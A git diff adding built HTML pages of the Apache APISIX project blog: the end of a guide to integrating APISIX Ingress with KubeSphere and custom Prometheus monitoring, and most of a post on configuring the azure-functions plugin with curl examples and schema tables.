+<span class="line"><span style="color:#7EE787"> enabled</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">true</span></span>
+<span class="line"><span style="color:#8B949E"> # [note] Enable NodePort for Dashboard to facilitate subsequent use</span></span>
+<span class="line"><span style="color:#7EE787"> service</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> type</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">NodePort</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#7EE787">ingress-controller</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> enabled</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">true</span></span>
+<span class="line"><span style="color:#7EE787"> config</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> apisix</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#8B949E"> # [note] Be sure to set the namespace where gateway is located</span></span>
+<span class="line"><span style="color:#7EE787"> serviceNamespace</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">apisix-system</span></span>
+<span class="line"><span style="color:#7EE787"> serviceMonitor</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> enabled</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">true</span></span>
+<span class="line"><span style="color:#7EE787"> namespace</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">'apisix-system'</span></span>
+<span class="line"><span style="color:#7EE787"> interval</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">15s</span></span></code></pre>
+<p>After successful deployment, click the application name to enter the details page, and you can see the following service deployment and working status operation status display under the “Resource Status” tab.</p>
+<p><img src="https://static.apiseven.com/202108/1638241694605-7d88f095-fef5-43f4-9752-8dc5a2f9abc4.png" alt="Resource status"></p>
+<div class="admonition admonition-note"><p class="admonition-title">NOTE</p><p>The default configuration parameters for the other two Helm Charts of the Apache APISIX project can be found in <a href="https://github.com/apache/apisix-helm-chart/blob/master/charts/apisix-dashboard/values.yaml">Dashboard</a> and <a href="https://github.com/apache/apisix-helm-chart/blob/master/charts/apisix-ingress-controller/values.yaml">Ingress Controller</a> <code>values.yaml</code>.</p></div>
+<h3 id="dashboard-usage">Dashboard Usage</h3>
+<p>After the Apache APISIX application is deployed, you can check the current status of the Apache APISIX gateway through the Apache APISIX Dashboard.</p>
+<p>You can find the <code>apisix-dashboard</code> service from the application load-services page. Since we have enabled NodePort for Dashboard in the application configuration, you can access Dashboard directly through the NodePort port here.</p>
+<p><img src="https://static.apiseven.com/202108/1638241699353-8d54dfe9-8439-4085-8e7d-02583a1d0d9e.png" alt="Dahboard view"></p>
+<p>Log in to the Apache APISIX Dashboard with the default user name and password <code>admin</code>, and you can enter the System Information page to view the information of Apache APISIX nodes currently connected to management.</p>
+<p><img src="https://static.apiseven.com/202108/1638241703083-0915a427-9aab-41e6-8c76-be60d70fc135.png" alt="Enter name and password"></p>
+<h3 id="how-to-use">How to use</h3>
+<p>Next, let’s go back to the “Apply Routes” page, create another route (e.g. <code>apisix-httpbin</code>), set the path to <code>/*</code> <code>httpbin</code> <code>80</code> and add the key <code>kubernetes.io/ingress.class</code>: <code>apisix</code> to it.</p>
+<p><img src="https://static.apiseven.com/202108/1638241705123-6fe3ba11-bc08-4fb2-a8b1-73066ce73679.png" alt="Create route"></p>
+<p><img src="https://static.apiseven.com/202108/1638241706790-3989c06d-c803-4c16-869a-6fa000b5744b.png" alt="Setting details"></p>
+<h4 id="verify-that-the-application-route-is-effective">Verify that the application route is effective</h4>
+<p>Go back to the Apache APISIX Dashboard and enter the “Routes” page. You can see that the newly created application route has been recognized by the Apache APISIX Ingress Controller and automatically added to the Apache APISIX gateway, and you can also see an automatically created upstream entry in the “Upstream” page.</p>
+<p><img src="https://static.apiseven.com/202108/1638241712811-db1f93dd-2963-4034-b461-26733d173bae.png" alt="Verify route is effective"></p>
+<p>Next, go back to the <code>apisix-system</code> project “Services” page, find the port corresponding to the <code>apisix-gateway</code> service, and access <code><apisix-httpbin application routing domain name>:<apisix-gateway external access port></code> (for example, <code>httpbin.ui:30408</code> here) to access the backend service associated with the <code>apisix-httpbin</code> application route.</p>
+<p><img src="https://static.apiseven.com/202108/1638241716159-134e6bd8-9e08-46de-8d46-39142c439b8f.png" alt="Service page"></p>
+<h2 id="custom-monitoring-of-apache-apisix-gateways">Custom Monitoring of Apache APISIX Gateways</h2>
+<p>Monitoring capabilities can be augmented when using the Apache APISIX gateway through the Prometheus plug-in and the custom monitoring capabilities that come with KubeSphere.</p>
+<h3 id="exposing-relevant-prometheus-monitoring-metrics">Exposing relevant Prometheus monitoring metrics</h3>
+<p>Since we have already enabled the <a href="https://apisix.apache.org/docs/apisix/plugins/prometheus">Prometheus plugin</a> when deploying the Apache APISIX application, we only need to expose the interface to the Prometheus monitoring metrics.</p>
+<p>Go to the <code>apisix-system</code> project, find apisix on the “Workloads” page and go to the deployment details page, then select “Edit Settings” from “More Actions” in the left action panel.</p>
+<p><img src="https://static.apiseven.com/202108/1638241718162-86d110b6-2c40-461c-9cf4-a13b73cf5768.png" alt="APISIX workloads page"></p>
+<p>In the pop-up panel, go to the <code>apisix</code> container editing interface, find “Port Settings”, add a new port named <code>prom</code> to map to port <code>9091</code> of the container, save it and the <code>apisix</code> workload will restart.</p>
+<p><img src="https://static.apiseven.com/202108/1638241721050-c3e9409c-4ec8-4ff1-bcf8-045ea57ec179.png" alt="APISIX container"></p>
+<h3 id="creating-a-servicemonitor-for-monitoring-metrics">Creating a ServiceMonitor for monitoring metrics</h3>
+<p>Next, we need to connect the exposed metrics interface to KubeSphere’s own Prometheus to make it accessible (to grab the metrics data).</p>
+<p>Since KubeSphere maintains the internal Prometheus system through the <a href="https://github.com/prometheus-operator/prometheus-operator">Prometheus Operator</a>, the quickest way to access the metrics is to create a ServiceMonitor resource directly.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="yaml"><code><span class="line"><span style="color:#7EE787">apiVersion</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">monitoring.coreos.com/v1</span></span>
+<span class="line"><span style="color:#7EE787">kind</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">ServiceMonitor</span></span>
+<span class="line"><span style="color:#7EE787">metadata</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> name</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">apisix</span></span>
+<span class="line"><span style="color:#7EE787"> namespace</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">apisix-system</span></span>
+<span class="line"><span style="color:#7EE787">spec</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> endpoints</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#7EE787">scheme</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">http</span></span>
+<span class="line"><span style="color:#8B949E"> # [note] use the container port name exposed by the workload in the previous step</span></span>
+<span class="line"><span style="color:#7EE787"> targetPort</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">prom</span></span>
+<span class="line"><span style="color:#8B949E"> # [note] you need to bind the metric interface path corresponding to apisix correctly.</span></span>
+<span class="line"><span style="color:#7EE787"> path</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">/apisix/prometheus/metrics</span></span>
+<span class="line"><span style="color:#7EE787"> interval</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">15s</span></span>
+<span class="line"><span style="color:#7EE787"> namespaceSelector</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> matchNames</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">apisix-system</span></span>
+<span class="line"><span style="color:#7EE787"> selector</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> matchLabels</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> app.kubernetes.io/name</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">apisix</span></span>
+<span class="line"><span style="color:#7EE787"> app.kubernetes.io/version</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">2.10.0</span></span>
+<span class="line"><span style="color:#7EE787"> helm.sh/chart</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">apisix-0.7.2</span></span></code></pre>
+<p>Create the ServiceMonitor resource using <code>kubectl apply -f your_service_monitor.yaml</code>. Once created, you can also search for the ServiceMonitor resource in the cluster’s CRD management page and find a custom resource named <code>apisix</code>, if you have cluster management privileges, and make subsequent YAML changes here.</p>
+<p><img src="https://static.apiseven.com/202108/1638241723331-64cb363e-b6af-4af4-93f3-29a79c9a5e77.png" alt="Create ServiceMonitor"></p>
+<h3 id="indicator-access-to-custom-monitoring-panel">Indicator access to custom monitoring panel</h3>
+<p>Find “Custom Monitoring” under “Monitoring Alarms” in the menu list on the left side of the project, and start to “create” custom monitoring panels.</p>
+<p><img src="https://static.apiseven.com/202108/1638241724906-d9531809-4682-49b3-b90b-d7f3a03e70e3.png" alt="Create monitor panels"></p>
+<p>Fill in “Name” in the pop-up window, select “Custom” monitoring template, and go to “Next” to create the monitoring panel.</p>
+<p><img src="https://static.apiseven.com/202108/1638241727938-cd3843f9-0e22-4316-91d2-84b56cd66f21.png" alt="Setting details"></p>
+<p>After entering the edit page now click on the <code>+</code> area on the left side and configure the Prometheus monitoring metrics in the “Data” area on the right side. For example, here we can use <code>sum(apisix_nginx_http_current_connections)</code> to count the total number of connections to the Apache APISIX gateway in real time.</p>
+<p><img src="https://static.apiseven.com/202108/1638241729416-3d2024f1-9586-44ac-ad6c-7472c8924fc8.png" alt="Connect to APISIX gateway"></p>
+<p>After saving, find ”+ Add monitoring item” in the bottom-right corner of the page and select “Line Chart” to create the Nginx connection state metric: use <code>sum(apisix_nginx_http_current_connections) by (state)</code> as the metric, <code>{{state}}</code> as the legend name, and “Legend type” as the stacked graph to get a result similar to the one below. Save the template and get your first custom monitoring panel!</p>
+<p><img src="https://static.apiseven.com/202108/1638241730747-298fe17e-fb34-4da6-ac9d-8b1efde4521c.png" alt="Get custom monitoring panel"></p>
+<blockquote>
+<p>The Prometheus metrics currently provided by the Apache APISIX gateway can be found in the <a href="https://apisix.apache.org/zh/docs/apisix/plugins/prometheus/#%25E5%258F%25AF%25E6%259C%2589%25E7%259A%2584%25E6%258C%2587%25E6%25A0%2587">available metrics section</a> of the official documentation.</p>
+</blockquote>
+<p>Since the metrics configuration process is a bit tricky, it is recommended to import the <a href="https://grafana.com/grafana/dashboards/11719">Apache APISIX Grafana template</a> directly from the cluster-level “Custom Monitoring” (download the JSON and import it via “Local Upload”).</p>
+<p><img src="https://static.apiseven.com/202108/1638241733535-168ce86b-6654-4278-941d-23fb44003c90.png" alt="Import Grafana template"></p>
+<p>KubeSphere is also <a href="https://github.com/kubesphere/kubesphere/issues/4433">actively working</a> on introducing the Grafana template import into the project’s custom monitoring capabilities, so stay tuned!</p>
+<p><img src="https://static.apiseven.com/202108/1638241735167-4c6d3a9a-8190-41b5-9e89-7f09384c7113.png" alt="Finish work"></p>
+<h2 id="summary">Summary</h2>
+<p>This article is a very detailed step-by-step guide for you to fully understand and follow along with how to “interoperate Apache APISIX Ingress gateway with KubeSphere and perform custom monitoring”. We hope that reading this article will deepen your understanding of Apache APISIX Ingress Controller and Apache APISIX application.</p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://ww [...]
\ No newline at end of file
diff --git a/blog/2021/12/01/apisix-supports-azure-functions/index.html b/blog/2021/12/01/apisix-supports-azure-functions/index.html
new file mode 100644
index 00000000000..44462ea327c
--- /dev/null
+++ b/blog/2021/12/01/apisix-supports-azure-functions/index.html
@@ -0,0 +1,239 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Apache APISIX's integration with Azure Serverless | Apache APISIX</title><meta name="description" content="This article gives detailed instructions on how to integrate Azure Functions, which is a widely used serverless solution, into the Apache APISIX serverless suite."><meta name="robots" content="index,follow"><link rel="canonical" href="https://ap [...]
+<p>This article talks about the recent addition of a new plugin <code>azure-functions</code>, and gives detailed instructions on how to integrate Azure Functions, which is a widely used serverless solution, into the Apache APISIX serverless suite.</p>
+</blockquote>
+<!--truncate-->
+<p><img src="https://static.apiseven.com/202108/1638431191799-e1202fc7-d3b5-48db-a222-0c70a8b70da0.png" alt="Apache APISIX's integration with Azure Serverless"></p>
+<p>Apache APISIX provides support for serverless frameworks for popular cloud vendors (more coming on the way). Instead of hardcoding the function URL into the application, Apache APISIX suggests defining a route with the serverless plugin enabled. It gives the developers the flexibility to hot update the function URI along with completely changing the faas vendor to a different cloud provider with zero hassle. Also, this approach mitigates authorization and authentication concerns from [...]
+<h2 id="how-azure-functions-plugin-works">How azure-functions plugin works</h2>
+<p>The <code>azure-functions</code> plugin lets the users define an upstream to the azure <code>HTTP Trigger</code> serverless function for a gateway URI. If enabled, this plugin terminates the ongoing request to that particular URI and initiates a new request to the azure faas (the new upstream) on behalf of the client with the suitable authorization details set by the users, request headers, request body, params(all these three components are passed from the original request) and retur [...]
+<p>The plugin supports authorization to azure faas service via API keys and azure active directory.</p>
+<h2 id="how-to-use-azure-functions-with-apache-apisix">How to Use Azure Functions with Apache APISIX</h2>
+<p>The primary goal of the plugin is to proxy the gateway route specified in the route configuration to the azure functions URI. This section gives you a hands-on how to configure and create a serverless HTTP Trigger on the azure cloud.</p>
+<ol>
+<li>
+<p>First sign up/in to Microsoft Azure and sets up a trial plan. Azure Functions are forever free up to 1 million invocations. To know more about how the pricing, visit <a href="https://azure.microsoft.com/en-us/services/functions/#pricing">here</a>.</p>
+</li>
+<li>
+<p>Visit the <a href="https://portal.azure.com/#home">Azure Portal</a> (FYI, azure services can be accessed via the web portal, CLI & VSCode. for user-friendliness we are using the web).</p>
+<ol>
+<li>First, create a resource group to logically partition your faas that’s you are going to create.
+<img src="https://static.apiseven.com/202108/1638349069240-911b8640-2de6-4f82-b75b-fb937b0bad40.png" alt="create a resource group"></li>
+<li>Create a function app with the URL of your choice (I am going to pick test-apisix).
+<img src="https://static.apiseven.com/202108/1638349121520-01abe8e6-bc09-4be7-b010-f7baec59f89a.png" alt="create a function app"></li>
+</ol>
+</li>
+<li>
+<p>Install the <a href="https://marketplace.visualstudio.com/items?itemName=ms-azuretools.vscode-azurefunctions">Azure Functions extension</a> into VSCode editor. Upon installation, authenticate via extension and install the azure function core tool for local development with:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">npm</span><span style="color:#A5D6FF"> install</span><span style="color:#79C0FF"> -g</span><span style="color:#A5D6FF"> azure-functions-core-tools@3</span><span style="color:#79C0FF"> --unsafe-perm</span><span style="color:#79C0FF"> true</span></span></code></pre>
+</li>
+<li>
+<p>Deploy the following snippet to the same function app that we just created via the Azure Functions extension panel in VSCode:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="javascript"><code><span class="line"><span style="color:#79C0FF">module</span><span style="color:#E6EDF3">.</span><span style="color:#79C0FF">exports</span><span style="color:#FF7B72"> =</span><span style="color:#FF7B72"> async</span><span style="color:#FF7B72"> function</span><span style="color:#E6EDF3"> (</span><span style="color:#FFA657">context</sp [...]
+<span class="line"><span style="color:#E6EDF3">context.</span><span style="color:#D2A8FF">log</span><span style="color:#E6EDF3">(</span><span style="color:#A5D6FF">'HTTP trigger invoked on Test-APISIX.'</span><span style="color:#E6EDF3">)</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#FF7B72">const</span><span style="color:#79C0FF"> name</span><span style="color:#FF7B72"> =</span><span style="color:#E6EDF3"> req.query.name </span><span style="color:#FF7B72">||</span><span style="color:#E6EDF3"> (req.body </span><span style="color:#FF7B72">&&</span><span style="color:#E6EDF3"> req.body.name)</span></span>
+<span class="line"><span style="color:#FF7B72">const</span><span style="color:#79C0FF"> responseMessage</span><span style="color:#FF7B72"> =</span><span style="color:#E6EDF3"> name</span></span>
+<span class="line"><span style="color:#FF7B72"> ?</span><span style="color:#A5D6FF"> 'Hello, '</span><span style="color:#FF7B72"> +</span><span style="color:#E6EDF3"> name</span></span>
+<span class="line"><span style="color:#FF7B72"> :</span><span style="color:#A5D6FF"> 'This HTTP triggered function executed successfully. Pass a name in the query string or in the request body to generate a personalized response.'</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#E6EDF3">context.res </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> {</span></span>
+<span class="line"><span style="color:#8B949E"> // status: 200, /* Defaults to 200 */</span></span>
+<span class="line"><span style="color:#E6EDF3"> body: responseMessage,</span></span>
+<span class="line"><span style="color:#E6EDF3">}</span></span>
+<span class="line"><span style="color:#E6EDF3">}</span></span></code></pre>
+</li>
+</ol>
+<blockquote>
+<p>This snippet takes the name from query parameters (if present, else from the request body) and greets the user.</p>
+</blockquote>
+<h3 id="activate-the-azure-functions-plugin">Activate the azure-functions plugin</h3>
+<p>The following is an example of how to enable the azure-functions plugin for a specific route. We are assuming your HTTP Trigger is deployed and ready to be served.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#8B949E"># enable plugin for a specific route</span></span>
+<span class="line"><span style="color:#FFA657">curl</span><span style="color:#A5D6FF"> http://127.0.0.1:9080/apisix/admin/routes/1</span><span style="color:#79C0FF"> -H</span><span style="color:#A5D6FF"> 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1'</span><span style="color:#79C0FF"> -X</span><span style="color:#A5D6FF"> PUT</span><span style="color:#79C0FF"> -d</span><span style="color:#A5D6FF"> '</span></span>
+<span class="line"><span style="color:#A5D6FF">{</span></span>
+<span class="line"><span style="color:#A5D6FF"> "plugins": {</span></span>
+<span class="line"><span style="color:#A5D6FF"> "azure-functions": {</span></span>
+<span class="line"><span style="color:#A5D6FF"> "function_uri": "http://test-apisix.azurewebsites.net/api/HttpTrigger",</span></span>
+<span class="line"><span style="color:#A5D6FF"> "authorization": {</span></span>
+<span class="line"><span style="color:#A5D6FF"> "apikey": "<Generated API key to access the Azure-Function>"</span></span>
+<span class="line"><span style="color:#A5D6FF"> }</span></span>
+<span class="line"><span style="color:#A5D6FF"> }</span></span>
+<span class="line"><span style="color:#A5D6FF"> },</span></span>
+<span class="line"><span style="color:#A5D6FF"> "uri": "/azure"</span></span>
+<span class="line"><span style="color:#A5D6FF">}'</span></span></code></pre>
+<p>Now any requests (HTTP/1.1, HTTPS, HTTP2) to URI <code>/azure</code> on the Apache APISIX gateway will trigger an HTTP invocation to the aforesaid function URI and response body along with the response headers and response code will be proxied back to the client. For example ( here azure cloud function just take the <code>name</code> query param and returns <code>Hello $name</code>):</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">curl</span><span style="color:#79C0FF"> -i</span><span style="color:#79C0FF"> -XGET</span><span style="color:#A5D6FF"> http://localhost:9080/azure</span><span style="color:#FF7B72">\?</span><span style="color:#A5D6FF">name=Bisakh</span></span>
+<span class="line"><span style="color:#FFA657">HTTP/1.1</span><span style="color:#79C0FF"> 200</span><span style="color:#A5D6FF"> OK</span></span>
+<span class="line"><span style="color:#FFA657">Content-Type:</span><span style="color:#A5D6FF"> text/plain</span><span style="color:#E6EDF3">; charset</span><span style="color:#FF7B72">=</span><span style="color:#A5D6FF">utf-8</span></span>
+<span class="line"><span style="color:#FFA657">Transfer-Encoding:</span><span style="color:#A5D6FF"> chunked</span></span>
+<span class="line"><span style="color:#FFA657">Connection:</span><span style="color:#A5D6FF"> keep-alive</span></span>
+<span class="line"><span style="color:#FFA657">Request-Context:</span><span style="color:#A5D6FF"> appId=cid-v1:38aae829-293b-43c2-82c6-fa94aec0a071</span></span>
+<span class="line"><span style="color:#FFA657">Date:</span><span style="color:#A5D6FF"> Wed,</span><span style="color:#79C0FF"> 19</span><span style="color:#A5D6FF"> Nov</span><span style="color:#79C0FF"> 2021</span><span style="color:#A5D6FF"> 18:46:55</span><span style="color:#A5D6FF"> GMT</span></span>
+<span class="line"><span style="color:#FFA657">Server:</span><span style="color:#A5D6FF"> APISIX/2.10.2</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#FFA657">Hello,</span><span style="color:#A5D6FF"> Bisakh</span></span></code></pre>
+<p>Considering, Apache APISIX is also running with <code>enable_http2: true</code> on <a href="https://github.com/apache/apisix/blob/master/conf/config-default.yaml#L26">config-default.yaml</a> for port 9081 (say), any <code>HTTP/2</code> communication between client and APISIX agent will be proxied to the azure faas similar to HTTP/1.1 and responses will be proxied back to the client with proper headers. For example:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">curl</span><span style="color:#79C0FF"> -i</span><span style="color:#79C0FF"> -XGET</span><span style="color:#79C0FF"> --http2</span><span style="color:#79C0FF"> --http2-prior-knowledge</span><span style="color:#A5D6FF"> http://localhost:9081/azure</span><span style="color:#FF7B72">\?</span><s [...]
+<span class="line"><span style="color:#FFA657">HTTP/2</span><span style="color:#79C0FF"> 200</span></span>
+<span class="line"><span style="color:#FFA657">content-type:</span><span style="color:#A5D6FF"> text/plain</span><span style="color:#E6EDF3">; charset</span><span style="color:#FF7B72">=</span><span style="color:#A5D6FF">utf-8</span></span>
+<span class="line"><span style="color:#FFA657">request-context:</span><span style="color:#A5D6FF"> appId=cid-v1:38aae829-293b-43c2-82c6-fa94aec0a071</span></span>
+<span class="line"><span style="color:#FFA657">Date:</span><span style="color:#A5D6FF"> Wed,</span><span style="color:#79C0FF"> 19</span><span style="color:#A5D6FF"> Nov</span><span style="color:#79C0FF"> 2021</span><span style="color:#A5D6FF"> 18:46:56</span><span style="color:#A5D6FF"> GMT</span></span>
+<span class="line"><span style="color:#FFA657">server:</span><span style="color:#A5D6FF"> APISIX/2.10.2</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#FFA657">Hello,</span><span style="color:#A5D6FF"> Bisakh</span></span></code></pre>
+<h3 id="deactivate-the-azure-functions-plugin">Deactivate the azure-functions plugin</h3>
+<p>Now, to disable the plugin simply remove the corresponding JSON configuration in the plugin configuration to disable the <code>azure-functions</code> plugin and add the suitable upstream configuration. Apache APISIX plugins are hot-reloaded, therefore is no need to restart Apache APISIX.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">curl</span><span style="color:#A5D6FF"> http://127.0.0.1:9080/apisix/admin/routes/1</span><span style="color:#79C0FF"> -H</span><span style="color:#A5D6FF"> 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1'</span><span style="color:#79C0FF"> -X</span><span style="color:#A5D6FF"> PUT</span><span st [...]
+<span class="line"><span style="color:#A5D6FF">{</span></span>
+<span class="line"><span style="color:#A5D6FF"> "uri": "/azure",</span></span>
+<span class="line"><span style="color:#A5D6FF"> "plugins": {},</span></span>
+<span class="line"><span style="color:#A5D6FF"> "upstream": {</span></span>
+<span class="line"><span style="color:#A5D6FF"> "type": "roundrobin",</span></span>
+<span class="line"><span style="color:#A5D6FF"> "nodes": {</span></span>
+<span class="line"><span style="color:#A5D6FF"> "127.0.0.1:1980": 1</span></span>
+<span class="line"><span style="color:#A5D6FF"> }</span></span>
+<span class="line"><span style="color:#A5D6FF"> }</span></span>
+<span class="line"><span style="color:#A5D6FF">}'</span></span></code></pre>
+<h2 id="custom-configuration">Custom Configuration</h2>
+<p>In a minimal configuration while creating a new route with the <code>azure-functions</code> plugin enabled, <code>function_uri</code> is the mandatory attribute of the plugin config that points to the function URL. There is a lot of additional options that can be tweaked with plugin schema and metadata schema.</p>
+<h3 id="plugin-schema">Plugin Schema</h3>
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+<table><thead><tr><th>Name</th><th>Type</th><th>Required</th><th>Default</th><th>Valid</th><th>Description</th></tr></thead><tbody><tr><td>function_uri</td><td>string</td><td>required</td><td>n/a</td><td>n/a</td><td>The azure function endpoint which triggers the serverless function code (eg. <a href="http://test-apisix.azurewebsites.net/api/HttpTrigger">http://test-apisix.azurewebsites.net/api/HttpTrigger</a>).</td></tr><tr><td>authorization</td><td>object</td><td>optional</td><td>n/a</t [...]
+<p>This gives a whole lot of flexibility to tightly bind the behaviour of the azure faas - from configuring the timeout to the keepalive pool and validating the SSL certificate of the serverless faas. To be honest, this actually means a lot when it comes to serverless as the services are event-driven and resources are being allocated by the cloud provider on the fly.</p>
+<h3 id="metadata-schema">Metadata Schema</h3>
+<p>Similarly, there are a few attributes that can be tweaked by using the metadata.</p>
+
+
+
+
+
+
+
+
+
+
+
+
... 228443 lines suppressed ...